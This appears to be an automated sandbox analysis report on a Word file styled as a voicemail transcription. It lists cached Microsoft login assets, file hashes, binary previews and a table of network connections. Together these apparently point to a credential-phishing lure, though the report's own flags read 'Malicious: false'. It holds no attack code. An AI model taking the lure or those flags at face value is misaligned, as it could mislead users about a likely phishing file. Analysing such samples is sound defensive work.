SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116343
Entropy (8bit):	7.997640489040715
Encrypted:	true
SSDEEP:	3072:s8ovOS/D3L+TGsLMet6+iNLTMMqfC4hyFv0As5:jNSrij/t6+aAMqfCoydM5
MD5:	3063B0DA40B45B46602FCE99AC53D315
SHA1:	57883FF854B80AD2A76479A0273BE9218B4DA553
SHA-256:	C60FB365DF08D31F36EDA468941C309AE3A917ED784A30495800F05E5F98B66B
SHA-512:	3EAF55117A825B588972F6AE324F6173EF4F2A309BAB69A9A6CC43C8F9A4EE25C2FA86752C8912542CC353727DC54A034B369D4A4451F0C3B20206C16FA9FE98
Malicious:	false
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,.......X.?......-....J.....I.;....t..FSw...a7i...c..Y{.-..>a..4h.Eo..c#...O....~..d....Z..z.'...s.D..E...jb.O.F..0.VW>..]%6........x..O>E.'a0U.....w....."..9.az.6....<a.?..<qvx........ct.K..s.C3..d#..#^R.z..A..u.f..........s.....M.rb(.\v.....%.k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h........P{..7!@...\|..ZR.]V....."...0.o....7..peCG....px..j.%r2.....R.k5m..s.

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2976
Category:	downloaded
Size (bytes):	1407
Entropy (8bit):	7.883358552202844
Encrypted:	false
SSDEEP:	24:XVlGfXfZH9K39qg2SlLhUoBNZmHLpdZEdhtJrs5tJv/JjDryVSMTAD:X6vf+39zdKoBNZmHdPEjrsF/NMTO
MD5:	30438524FECEB78AA33B0421520B6BA2
SHA1:	0BE02316E5D20D5863928C85CC27BB7EFDC6C6EA
SHA-256:	07A0B65A5E211320C66B516BA51933F003C9CA382AB137EF283EC8B60AB93BEB
SHA-512:	4E75E5AD047127C7C1F79D9C9388FD4CDD8FF8F21C51CB39BFE76CC53228ED41DEF0DEAB0A6E860932C39EEF4E065978C61AF5DB44071F38DEE20ED88020AB7C
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pidpredirect_e82e06e954656d0f3692.js
Preview:	...........VmO.H..._1...{........R.A...N'...z./qv..uB...o.!i...x...3.3n..y.o......?u.pu.....1t..o.v.??:y9.S....00.)..#f0.%Ai..+.).,...S...X....!....5..cIh..Z.Gp:...v...?$\|$41.......bA+8..q...4...Q.".<.K..2jlA#G1'%&'.....F0ha..MJ;B.9.5.)..M.N..EL...Qz..B9....v2J..p.G0g..`.,U.....!'@q..B..?...q.m..A=w&.)(b.P..8...2b0..&.I..J.%.M4....(xX... f..Rx......S...\|!..U....%[.....;.7...=..J..L......Y#V.$e.L.Sr.n\|.]}..R.U.:..,.c5cBV.:..?.~....E.....(...........W.B..i.....W.P.=C{x....,7.w}.j....{...\r.....?g..Hx-?.t4.......w....k. .d.a.k(.=K. %.g.].O.V..xX...UC "..R...@.....:.~.)..E.(c....M.7ke..Dh.....N/..b\|.O1..%.g....5A.I...-....H..#e.....V.....>.9bDW....'..\D..)"._.T..t...K..c...1....n'h..n.5.\Kp.8...F.Ol.3.1....<..nr.......z....^.v4....6.\.1.AIe....{<....Gm}..CS.y.T..4.2.....\..1.O.a%t8..M..Pe&K...J..`...0..a..m..jJ....UU`...D..o#.ED...&..+?h.[...+.f^.$.XC.1q+O{.TQ..f.z-^.Svk..;.U.i...i.S.....u..f)y....wx.{l.P\.;.7>=U..I..,.....?<.....u(L........u

Static File Info

General

File type:	Microsoft OOXML
Entropy (8bit):	7.9714236325602625
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	Voicemail_+Transcription+_ATT006151.docx
File size:	47'061 bytes
MD5:	aade183de3081570bb4de15212aef943
SHA1:	f92f9c30f2d38f966bc7bf1936a33445fa102cd3
SHA256:	61f604564c77fa2e0f48ccc8643d9f1c25bb2f5b67a5d727aed3721ff136164a
SHA512:	8325629ba06f866d4fe5c66b400ca928aa3a003cef3dd4efe308b25ed18305c0446321e744bd1af78cd321cce33e4bc4e9e986184cef6c0b3d8c72a608d434d0
SSDEEP:	768:ciQdnm7rdW8RhejTaCRWrY/CGD5uLiNTKUUXdvYeh1pK+6r6AS1foZ4qm:Mm7rZHIfr/CGD5uLmdUNQ4GsB
TLSH:	5D23F2B8951F7072EABA9B32EA194DF1F57C8E4080D5779F3C27824550F3A4E69B7004
File Content Preview:	PK........:.*Z................[Content_Types].xml..OO.0...\|.(..P....VM9,p\.(b..3i..'....g.h...)[.D.g.{...gz.dM....wuqTM.....v...._.'E.$]#.wP....tv0.o.`.b.u.".?.@..+....WZ..$~.K....K.?&.c..#pTR..g.3h..Pv....H~.`.g.^.SV.k.......7,I......Id.F+I\...y7K.:G....

File Icon


Icon Hash:	35e5c48caa8a8599

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:04:38.518997908 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:04:38.822400093 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:04:39.430433035 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:04:40.642417908 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:04:41.407774925 CET	49689	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:04:43.046483994 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:04:46.691441059 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:04:46.777090073 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:46.777142048 CET	443	49711	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:46.777219057 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:46.810236931 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:46.810267925 CET	443	49711	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.006397009 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:04:47.317876101 CET	443	49711	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.318288088 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.318321943 CET	443	49711	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.319426060 CET	443	49711	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.319498062 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.321816921 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.321846962 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.321938038 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.321981907 CET	443	49711	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.322043896 CET	49711	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.322413921 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.322448015 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.322504997 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.322725058 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.322736979 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.610450029 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:04:47.818605900 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.818944931 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.818969965 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.820086002 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.820137978 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.821433067 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.821506023 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.821866035 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:47.821872950 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:47.849559069 CET	49673	443	192.168.2.16	204.79.197.203
Jan 10, 2025 19:04:47.865423918 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.244622946 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.244863987 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.244925022 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.244946957 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.244963884 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.245043993 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.245057106 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.247735023 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.247874975 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.248019934 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.248028040 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.248136044 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.249385118 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.249577045 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.249641895 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.249651909 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.305622101 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.305650949 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335015059 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335052013 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335083008 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335108995 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335119963 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.335139036 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335146904 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335161924 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.335187912 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.335381031 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335438967 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335472107 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335511923 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335514069 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.335529089 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.335550070 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.335581064 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.338017941 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.338085890 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.338107109 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.338155985 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.338172913 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.338215113 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.338325024 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.339188099 CET	49716	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:48.339204073 CET	443	49716	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:48.357700109 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.357758045 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.358026981 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.358066082 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.358125925 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.361258984 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.361259937 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.361323118 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.361404896 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.361507893 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.361536980 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.363607883 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.363631964 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.365271091 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.365283012 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.817413092 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:04:48.820653915 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.821137905 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.821167946 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.822263956 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.822362900 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.823604107 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.823987961 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.824011087 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.824142933 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.824335098 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.824351072 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.825089931 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.825333118 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.826376915 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.826459885 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.826540947 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.830986023 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.831322908 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.831341028 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.832386017 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.832535028 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.833616018 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.833616018 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.833636045 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.833686113 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.865451097 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.865483046 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.867332935 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.881412029 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.881412029 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.881433964 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.881448984 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.913439989 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.919177055 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.919265032 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.919306040 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.919329882 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.919342041 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.919413090 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.919641018 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.929429054 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.929456949 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.929553986 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.929584980 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.929615974 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.929639101 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.929651976 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.929678917 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.929689884 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.929728985 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.929733992 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.930068016 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.934999943 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:48.977466106 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:48.983803034 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.983854055 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.983885050 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.983913898 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.983935118 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.983944893 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.983958006 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.983977079 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.984000921 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.984013081 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.984307051 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.984422922 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.984428883 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.984605074 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.984657049 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:48.984663963 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:48.997112036 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.997184038 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.997226954 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.997651100 CET	49719	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.997673988 CET	443	49719	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.999571085 CET	49720	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.999603033 CET	443	49720	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:48.999681950 CET	49720	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.999938011 CET	49720	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:48.999948978 CET	443	49720	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:49.007139921 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007200003 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007229090 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007250071 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.007256985 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007301092 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.007307053 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007405043 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007448912 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007482052 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007502079 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.007508993 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.007530928 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.008241892 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.008266926 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.008311987 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.008318901 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.008326054 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.008379936 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.013915062 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.013968945 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.013973951 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.013986111 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014023066 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.014029980 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014365911 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014400005 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014424086 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014424086 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.014434099 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014467955 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.014473915 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.014729977 CET	49717	443	192.168.2.16	151.101.130.137
Jan 10, 2025 19:04:49.014733076 CET	443	49717	151.101.130.137	192.168.2.16
Jan 10, 2025 19:04:49.025449991 CET	49718	443	192.168.2.16	104.17.25.14
Jan 10, 2025 19:04:49.025479078 CET	443	49718	104.17.25.14	192.168.2.16
Jan 10, 2025 19:04:49.057395935 CET	49717	443	192.168.2.16	151.101.130.137
